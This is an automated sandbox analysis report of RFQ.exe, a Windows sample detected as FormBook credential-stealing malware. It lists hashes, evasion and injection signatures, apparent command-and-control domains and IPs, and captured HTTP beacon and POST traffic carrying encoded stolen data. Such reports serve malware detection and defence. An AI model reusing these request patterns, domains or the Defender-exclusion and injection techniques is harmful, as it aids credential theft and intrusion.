Windows Analysis Report
RFQ.exe

Overview

General Information

Sample name: RFQ.exe
Analysis ID: 1426618
MD5: 4d82cc1b35b8dc9ec7d149f1b8b95e95
SHA1: a1d363742603070b3fc7d2db4fc431307618b1b8
SHA256: eedd6d6a9ec4bf82ca87e66c1ae5b86983e8479598df71f3602283b93dd07035
Tags: exeFormbook
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected AntiVM3
Yara detected FormBook
.NET source code contains potential unpacker
.NET source code contains very large array initializations
Adds a directory exclusion to Windows Defender
Found direct / indirect Syscall (likely to bypass EDR)
Initial sample is a PE file and has a suspicious name
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Powershell Defender Exclusion
Uses 32bit PE files
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: RFQ.exe Virustotal: Detection: 29% Perma Link
Source: RFQ.exe ReversingLabs: Detection: 18%
Yara detected FormBook
Source: Yara match File source: 5.2.RFQ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.RFQ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.2157037276.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2157544338.0000000001920000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432058562.0000000003690000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4432005342.0000000003650000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.4433484681.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.4431071745.00000000030C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2158404724.0000000002750000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.4431863732.00000000030D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Machine Learning detection for sample
Source: RFQ.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: RFQ.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: RFQ.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: icacls.pdb source: RFQ.exe, 00000005.00000002.2157289762.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000002.4431445445.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: KdNqCjDpwdLOuI.exe, 00000007.00000002.4431314458.00000000008FE000.00000002.00000001.01000000.0000000D.sdmp, KdNqCjDpwdLOuI.exe, 0000000A.00000002.4431191705.00000000008FE000.00000002.00000001.01000000.0000000D.sdmp
Source: Binary string: wntdll.pdbUGP source: RFQ.exe, 00000005.00000002.2157658184.0000000001A00000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, 00000008.00000003.2157292356.0000000003553000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000003.2159010272.0000000003709000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.0000000003A4E000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.00000000038B0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: icacls.pdbGCTL source: RFQ.exe, 00000005.00000002.2157289762.00000000015A8000.00000004.00000020.00020000.00000000.sdmp, KdNqCjDpwdLOuI.exe, 00000007.00000002.4431445445.0000000000B88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RFQ.exe, RFQ.exe, 00000005.00000002.2157658184.0000000001A00000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, icacls.exe, 00000008.00000003.2157292356.0000000003553000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000003.2159010272.0000000003709000.00000004.00000020.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.0000000003A4E000.00000040.00001000.00020000.00000000.sdmp, icacls.exe, 00000008.00000002.4432241042.00000000038B0000.00000040.00001000.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\icacls.exe Code function: 8_2_030DB130 FindFirstFileW,FindNextFileW,FindClose, 8_2_030DB130
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\icacls.exe Code function: 4x nop then xor eax, eax 8_2_030C90E0
Source: C:\Windows\SysWOW64\icacls.exe Code function: 4x nop then pop edi 8_2_030D16E4
Source: C:\Windows\SysWOW64\icacls.exe Code function: 4x nop then pop edi 8_2_030CD4A0

Networking
barindex
Performs DNS queries to domains with low reputation
Source: DNS query: www.book-of-degen.xyz
Source: DNS query: www.fusionndustries.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 91.195.240.117 91.195.240.117
Source: Joe Sandbox View IP Address: 66.96.162.136 66.96.162.136
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=4BEdEKurUNEFwkFRegiDBzC7pj7sTtT0kB0gdoDHo+aBzggPclQDQJqF4ehpSB3lBDvuZzIzoYk2h0Zy/GWQSTC2T/c7HqqgmNNGpbvCRxrYpdpNw0fXnMi51aRJIBirrQ== HTTP/1.1Host: www.elysiangame.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?gr=Z7N7hXY/vxItmyrXNQB4LENYEQnuSZ4/X1tSw0B7uFqoJtXe6IwXeXQiXEM/Xr4/ado0xvKOz5lKhVT9TZmVC0ntJKIXA1qlQqDuwiNLRNgNzKASDET1ivmJ23BpeRNTPw==&kFGTX=Q6OxIXo8tXD HTTP/1.1Host: www.blueberry-breeze.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=k/xiXeKkElN9lmj7tVr8idaf/wpGLS/XfVixYgRWGr55oYC/zYvRgJVTIR6Icyf7C+fnrNLi6yuD3OJtT3FnzryZpasAqgaz10+v5QpHvKqHjO9njldZ1cZrBWCORkcOsw== HTTP/1.1Host: www.collegeclubapparel.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?gr=J5sdn6UHwrTFsLl7PSE+273sNdFQMS+e/Eepb66AdUMKjr/OxnnLPWtAHrBNDsqMNKwlUYW9tPjJnamC/Yv4erSiZvDT3TM3BG/s9HlMNwb39HB/smoNNYSAbH35aGk1gA==&kFGTX=Q6OxIXo8tXD HTTP/1.1Host: www.vvbgsekbo.storeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=23UPPxRjGSNUJTgmtj2qEyLz/ntkvqKRRFHtLj5W9bo9CLdZgto2DYnNUhYakwcl0jYhNZjG9CPBZRuAkcQvlwifYrEIa7IdBg/GlOURZYl7vwvnI0pSC8vNdE3Ml+j1JA== HTTP/1.1Host: www.mytemplotech.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?gr=zdwoT+oWWlgyDxCB5HfbKl0ceeCoMM1WsfXRj0lrAfPT+1DsmzcZqVZ0gwFwp9Re8dyKn5b7kYDBw8FcuEN9m4nkKjfCAjjkfqKhmamnNO4NqnkVPKDFVPgTCNPXruJSGA==&kFGTX=Q6OxIXo8tXD HTTP/1.1Host: www.othlastore.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=90cL6Q+hnzVn1nW1iqhU1H7cWV3fvz6SaIERCijRkAMfp+TQya0GlzYPpQzULEJqUDrLh9Kv8LQV8OdLSWJ6ERPfs+zhKb8B6PZEz280PNZ5UlofhaQwyuwHrpNW2TXV5g== HTTP/1.1Host: www.book-of-degen.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?gr=xJEpvmsSZWMn08k0fswZUF3i8FJV6XmZDE9zwebvcwnWaSyOd7ieKTZxqd8LfY736VbykJAs8QtIZUIve9rpP7hx1kot6ym/I/JMbr2a3NM5FLBwcSvbdBi7Xsx3rbBzJg==&kFGTX=Q6OxIXo8tXD HTTP/1.1Host: www.fusionndustries.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=BPQNeXp4G99ixa42Ae2HhZRkmtmfIWoN8C4XxZZLRtTgWub9dK20l7PCUAY7izqtYkjPPbLJsAPTHyCf3Tn8bJnCF1PYC6i+wP1GhXiXOwtWSBMDP4vgP+g0mku5o7pd9Q== HTTP/1.1Host: www.66bm99.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?gr=1jaEnVPJQbBr8WwKNEfMHYGZjhye5aSOWdurwFccCTE0UU1/+EdJo2t+tokAsIL/Mwf8dbmtfOzyBKuFYSi0CvpWL7by1S5GZC5tkYq+xKghYmLhmWFfGXtgNdAY2BZgRg==&kFGTX=Q6OxIXo8tXD HTTP/1.1Host: www.wedgetechflash.co.keAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=N6yreUGrEwmnZyuRuhm7fu2pjjSQdKU6BgmK3dVc5hhl4QdzezeViDhR5sAjVdDUmsLMRcLdrvPdYjLD7b1ZIx3A1Z1l9931wLtzigwrLlFKueBnJaM0qh412Fe43461Qw== HTTP/1.1Host: www.ojyphyi.websiteAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=dFo211Ya6GQqvQphJd5Z9kXpbZuBKAdHlLq9NOD/jOOiJZxFh2qZdwUu6l5GM/Gcb7yTWO1JQ6ZPaNdZMdh+co6vneivRci+mW27rS4RiRuWVEkpVXbIIudDxuuJlDWajg== HTTP/1.1Host: www.myspinpods.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?gr=6OoDw3xNyuUxCb7SO8/wQWyB7gJcoYv4ZTaI1h51IYF+sVRVSOMOuR9r6Rx19mFv7TRZYpTQN5hhg3dhUB7GRpmcej2viG1w8/6TMbbBsdyRJnmf1CwT9GI+x7zG1LG56Q==&kFGTX=Q6OxIXo8tXD HTTP/1.1Host: www.seatheskydesign.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=UMNiUc6XIv/d2uC7IlFmdfXYbiB/0cGyF5nVzLNzjfRVEsK0zJlkeP+z5Z1MT37PYueGSacB+keqYnFu3S8ymlT8yqaJ/dNBtni0ghgK1oHFbUR/jwcWs7rz0kpYku2gKQ== HTTP/1.1Host: www.naglissere.ruAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?kFGTX=Q6OxIXo8tXD&gr=4BEdEKurUNEFwkFRegiDBzC7pj7sTtT0kB0gdoDHo+aBzggPclQDQJqF4ehpSB3lBDvuZzIzoYk2h0Zy/GWQSTC2T/c7HqqgmNNGpbvCRxrYpdpNw0fXnMi51aRJIBirrQ== HTTP/1.1Host: www.elysiangame.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic HTTP traffic detected: GET /bnz5/?gr=Z7N7hXY/vxItmyrXNQB4LENYEQnuSZ4/X1tSw0B7uFqoJtXe6IwXeXQiXEM/Xr4/ado0xvKOz5lKhVT9TZmVC0ntJKIXA1qlQqDuwiNLRNgNzKASDET1ivmJ23BpeRNTPw==&kFGTX=Q6OxIXo8tXD HTTP/1.1Host: www.blueberry-breeze.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: unknown DNS traffic detected: queries for: www.elysiangame.online
Source: unknown HTTP traffic detected: POST /bnz5/ HTTP/1.1Host: www.blueberry-breeze.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cache-Control: max-age=0Connection: closeContent-Length: 203Content-Type: application/x-www-form-urlencodedOrigin: http://www.blueberry-breeze.comReferer: http://www.blueberry-breeze.com/bnz5/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36Data Raw: 67 72 3d 55 35 6c 62 69 67 4d 2f 6c 7a 59 54 71 47 57 71 4b 52 39 63 50 68 6c 78 45 6c 32 55 63 35 41 6d 62 46 70 65 36 33 34 32 6a 31 47 6e 4d 4e 66 75 78 76 77 4a 57 6b 46 2b 49 6b 6b 6a 66 76 67 39 52 74 41 67 6b 71 4f 57 6e 59 35 72 68 55 54 2f 63 63 76 78 50 45 62 31 57 2f 55 68 55 31 71 44 48 38 2b 48 37 6d 4d 64 65 38 5a 4c 32 36 41 51 59 30 76 74 68 50 71 34 6a 45 64 31 44 78 63 41 57 48 34 34 55 72 6b 79 31 52 6b 70 44 66 4c 63 33 31 31 74 6e 65 52 4e 6c 72 30 7a 63 6c 5a 65 59 35 4e 43 68 36 6b 6d 6a 4f 4f 49 74 67 50 4f 53 52 52 57 47 68 79 36 6b 36 71 49 54 31 6f 4e 67 51 6c 39 67 58 41 3d Data Ascii: gr=U5lbigM/lzYTqGWqKR9cPhlxEl2Uc5AmbFpe6342j1GnMNfuxvwJWkF+Ikkjfvg9RtAgkqOWnY5rhUT/ccvxPEb1W/UhU1qDH8+H7mMde8ZL26AQY0vthPq4jEd1DxcAWH44Urky1RkpDfLc311tneRNlr0zclZeY5NCh6kmjOOItgPOSRRWGhy6k6qIT1oNgQl9gXA=
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Tue, 16 Apr 2024 09:59:23 GMTserver: LiteSpeedvary: User-AgentData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 16 Apr 2024 10:00:08 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: *Access-Control-Allow-Headers: Content-Type,Access-Token,Appid,Secret,Authorization,TokenContent-Encoding: gzipData Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 16 Apr 2024 10:00:11 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: *Access-Control-Allow-Headers: Content-Type,Access-Token,Appid,Secret,Authorization,TokenContent-Encoding: gzipData Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 16 Apr 2024 10:00:14 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: *Access-Control-Allow-Headers: Content-Type,Access-Token,Appid,Secret,Authorization,TokenContent-Encoding: gzipData Raw: 31 34 0d 0a 1f 8b 08 00 00 00 00 00 00 03 03 00 00 00 00 00 00 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 140
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 16 Apr 2024 10:00:18 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: *Access-Control-Allow-Headers: Content-Type,Access-Token,Appid,Secret,Authorization,TokenData Raw: 30 0d 0a 0d 0a Data Ascii: 0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlDate: Tue, 16 Apr 2024 10:00:51 GMTServer: NetlifyX-Nf-Request-Id: 01HVK5M9C7DRX0A3PMYF6BG4XBConnection: closeTransfer-Encoding: chunkedData Raw: 39 64 38 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 74 69 74 6c 65 3e 53 69 74 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 7b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 3a 23 41 33 41 39 41 43 3b 2d 2d 63 6f 6c 6f 72 44 65 66 61 75 6c 74 54 65 78 74 43 6f 6c 6f 72 43 61 72 64 3a 23 32 44 33 42 34 31 3b 2d 2d 63 6f 6c 6f 72 42 67 41 70 70 3a 72 67 62 28 31 34 2c 20 33 30 2c 20 33 37 29 3b 2d 2d 63 6f 6c 6f 72 42 67 49 6e 76 65 72 73 65 3a 68 73 6c 28 31 37 35 2c 20 34 38 25 2c 20 39 38 25 29 3b 2d 2d 63 6f 6c 6f 72 54 65 78 74 4d 75 74 65 64 3a 72 67 62 28 31 30 30 2c 20 31 31 30 2c 20 31 31 35 29 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 3a 23 44 33 32 32 35 34 3b 2d 2d 63 6f 6c 6f 72 42 67 43 61 72 64 3a 23 66 66 66 3b 2d 2d 63 6f 6c 6f 72 53 68 61 64 6f 77 3a 23 30 65 31 65 32 35 31 66 3b 2d 2d 63 6f 6c 6f 72 45 72 72 6f 72 54 65 78 74 3a 72 67 62 28 31 34 32 2c 20 31 31 2c 20 34 38 29 3b 2d 2d 63 6f 6c 6f 72 43 